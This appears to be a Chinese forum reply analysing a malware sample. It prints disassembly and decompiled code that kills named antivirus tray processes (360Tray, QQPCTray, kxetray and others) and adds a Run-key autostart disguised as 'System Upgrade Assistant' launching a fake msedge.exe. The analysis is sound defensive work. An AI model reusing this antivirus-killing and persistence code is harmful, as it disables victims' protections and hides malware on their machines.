应该是没开核晶吧,看了下,从网上下载DLL,内存加载,对于指定进程
.text:1000EADF mov ecx, offset a360trayExe ; "360Tray.exe"
.text:1000EAE4 call sub_1000E350
.text:1000EAE9 mov ecx, offset aKxetrayExe ; "kxetray.exe"
.text:1000EAEE call sub_1000E350
.text:1000EAF3 mov ecx, offset aQqpctrayExe ; "QQPCTray.exe"
.text:1000EAF8 call sub_1000E350
.text:1000EAFD mov ecx, offset aHipstrayExe ; "HipsTray.exe"
.text:1000EB02 call sub_1000E350
.text:1000EB07 mov ecx, offset a2345safetrayEx ; "2345SafeTray.exe"
.text:1000EB0C call sub_1000E350
降权,所有线程发送退出消息,及杀进程,然后写开机启动。如果开了核晶,应该不会受影响。
LSTATUS sub_1000E850()
{
LSTATUS result; // eax
DWORD cbData; // [esp+8h] [ebp-530h] BYREF
HKEY phkResult; // [esp+Ch] [ebp-52Ch] BYREF
CHAR Filename[264]; // [esp+10h] [ebp-528h] BYREF
BYTE Data[520]; // [esp+118h] [ebp-420h] BYREF
char Buffer[264]; // [esp+320h] [ebp-218h] BYREF
CHAR pszPath[268]; // [esp+428h] [ebp-110h] BYREF
SHGetFolderPathA(0, 5, 0, 0, pszPath);
GetModuleFileNameA(0, Filename, 0x104u);
sprintf_s(Buffer, 0x104u, "%s\\msedge.exe", pszPath);
sprintf_s((char *const)Data, 0x208u, "explorer \"%s\"", Buffer);
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0x20019u, &phkResult) )
{
cbData = 0;
if ( !RegQueryValueExA(phkResult, "System Upgrade Assistant", 0, 0, 0, &cbData) )
return RegCloseKey(phkResult);
RegCloseKey(phkResult);
}
OutputDebugStringA("meiyou");
result = RegOpenKeyExA(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
0x20006u,
&phkResult);
if ( !result )
{
KillProcByName();
KillProcByName();
KillProcByName();
KillProcByName();
KillProcByName();
RegSetValueExA(phkResult, "System Upgrade Assistant", 0, 1u, Data, strlen((const char *)Data));
return RegCloseKey(phkResult);
}
return result;
} |